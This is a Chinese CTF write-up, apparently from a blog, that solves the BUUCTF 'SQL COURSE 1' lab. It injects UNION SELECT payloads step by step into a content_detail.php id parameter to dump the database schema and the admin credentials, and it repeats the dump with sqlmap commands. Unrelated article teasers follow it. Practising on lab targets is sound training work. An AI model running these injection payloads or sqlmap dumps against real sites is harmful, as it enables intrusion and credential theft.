方法一:手工注入

启动靶机

寻找注入点,使用burp抓包得到传参页面

得到注入点 /backend/content_detail.php?id=1

and 1 =1and 1 =2 判断存在sql注入漏洞

查询字段数 order by 2正常显示 order by 3异常显示 字段数为2



让网页报错测试回显位 /backend/content_detail.php?id=-1 union select 1,2 测得1,2号字段都是回显位

查询数据库名,版本号,用户名

/backend/content_detail.php?id=-1 union select database(),2 得到表名news

/backend/content_detail.php?id=-1 union select version(),2 得到版本10.3.18-MariaDB

/backend/content_detail.php?id=-1 union select user(),2 得到用户root@localhost



//group_get()函数用于回显所有数据

开始sql注入爆破表名 ?id= -1 union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'news' 得到表名admin,contens

爆破列名 ?id= -1 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'admin' 得到列名 id,username,password

查询username,password ?id= -1 union select group_concat(username),group_concat(password) from admin

通过用户名密码登录后台 admin ef885d97427ba814d7d0faa7d574bad9



拿到flag

flag{6b8876b9-a705-4794-b623-f07dec86b58a}


方法二:sqlmap注入

启动靶机得到注入链接 /backend/content_detail.php?id=1

获取当前数据库名称 python.exe .\sqlmap.py -u "http://fc37e90a-e533-4b4a-a8bd-7d02eab1fcb1.node5.buuoj.cn:81/backend/content_detail.php?id=1" --current-db

获取表名python.exe .\sqlmap.py -u "http://fc37e90a-e533-4b4a-a8bd-7d02eab1fcb1.node5.buuoj.cn:81/backend/content_detail.php?id=1" --tables -D "news"

获取列名 python.exe .\sqlmap.py -u "http://fc37e90a-e533-4b4a-a8bd-7d02eab1fcb1.node5.buuoj.cn:81/backend/content_detail.php?id=1" --columns -D "news" -T "admin"

获取username和password值 python.exe .\sqlmap.py -u "http://fc37e90a-e533-4b4a-a8bd-7d02eab1fcb1.node5.buuoj.cn:81/backend/content_detail.php?id=1" --dump -D "news" -T "admin" -C "username,password"

登录后台拿到flag

BUUCTF BUU SQL COURSE 1的更多相关文章

  1. BUUCTF[归纳]sql注入相关题目

    这是我自己对于sql注入的部分ctf题型的归纳,均来自buuctf的平台环境. [0CTF 2016]piapiapia 我尝试了几种payload,发现有两种情况. 第一种:Invalid user ...

  2. Buuctf | BUU LFI COURSE 1

    跟着赵师傅学CTF,这里是我的学习记录 ?file=/flag ?file=/var/log/nginx/access.log :包含ngnix的日志记录 在user-agent里面插入 :bbbbb ...

  3. BUUCTF | SQL COURSE 1

    一开始还以为是在登录框进行注入,于是fuzzing了一下发现一个注入点都没有 1 and 1 1 and 0 1' and '1 1' and '0 1" and "1 1&quo ...

  4. 【Oracle】获取SQL执行计划

    一.plsql developer工具F5         在sqldeveloper中选中sql按F5即可查看执行计划         

  5. BUUCTF平台-web-边刷边记录-1

    1.WarmUp 思路很清晰,文件包含,漏洞点在代码会二次解码,只需注入一个?就可以使用../../进行路径穿越,然后去包含flag,flag路径在hint.php里面有 2.easy_tornado ...

  6. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  7. Buu刷题

    前言 希望自己能够更加的努力,希望通过多刷大赛题来提高自己的知识面.(ง •_•)ง easy_tornado 进入题目 看到render就感觉可能是模板注入的东西 hints.txt给出提示,可以看 ...

  8. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

  9. buu学习记录(上)

    前言:菜鸡误入buu,差点被打吐.不过学到了好多东西. 题目名称: (1)随便注 (2)高明的黑客 (3)CheckIn (4)Hack World (5)SSRF Me (6)piapiapia ( ...

  10. BUUCTF 基础CODE REVIEW

    1.说明: 题目来自于BUUCTF 的基础部分,内容就如题,是一个代码审计.代码如下: <?php /** * Created by PhpStorm. * User: jinzhao * Da ...

随机推荐

  1. pytorch的模型推理:TensorRT的使用

    相关教程视频: TRTorch真香,一键启用TensorRT 注意,这里只做入门视频的学习Demo,并没有实际应用的用处. 图片来源:https://www.bilibili.com/video/BV ...

  2. 《Python数据可视化之matplotlib实践》 源码 第四篇 扩展 第十一章

    图  11.2  import matplotlib.pyplot as plt import matplotlib as mpl import numpy as np plt.axes([0.1, ...

  3. 图床、云对象存储、CDN业务:“自定义 CDN 加速域名” 与 “自定义源站域名” 的区别

    参考: https://developer.qiniu.com/kodo/8622/dev-the-binding-source-domain-name ----------------------- ...

  4. 读论文《IMPALA: Scalable Distributed Deep-RL with Importance Weighted Actor-Learner Architectures》

    论文地址: https://arxiv.org/pdf/1802.01561v2.pdf 论文<IMPALA: Scalable Distributed Deep-RL with Importa ...

  5. Ubuntu 16.04 部署Mariadb

    默认上MariaDB的包并没有在Ubuntu仓库中.要安装MariaDB,我们要设置MariaDB仓库. sudo apt-get install software-properties-common ...

  6. 折腾 Quickwit,Rust 编写的分布式搜索引擎-官方教程

    快速上手 在本快速入门指南中,我们将安装 Quickwit,创建一个索引,添加文档,最后执行搜索查询.本指南中使用的所有 Quickwit 命令都在 CLI 参考文档 中进行了记录. https:// ...

  7. Go channel 介绍

    Go 语言(Golang)中的 chan 是通道(channel)的缩写,用于在不同的 goroutine 之间进行通信.通道允许你在 goroutine 之间传递数据,从而实现同步和共享内存.下面是 ...

  8. office系列软件(word、ppt、excel)打不开的解决方案

    前言 ​ 这里我遇到的情况是点击都没反应,而不像很多人那样有报错弹窗,费劲千辛万苦才最终解决,中间一度自暴自弃想着干脆用WPS得了(大可不必),中间我尝试了三种方法,不一定哪种有效,权当分享: 一.使 ...

  9. python requests 报错 Caused by ProxyError ('Unable to connect to proxy', OSError('Tunnel connection failed: 403 Tunnel or SSL Forbidden'))

    背景:访问https接口,使用http代理 版本:requests: 2.31.0 从报错可以看出,是proxy相关的报错 调整代码,设定不使用代理,将http与https对应的proxy值置空即可( ...

  10. Comfyui 基础教程(一) —— 本地安装部署

    前言 前面一篇文章已经介绍过,ComfyUI 和 Stable Diffusion 的关系.不清楚的朋友,看传送门 Stable Diffusion 小白的入坑铺垫 . WebUI 以及 ComfyU ...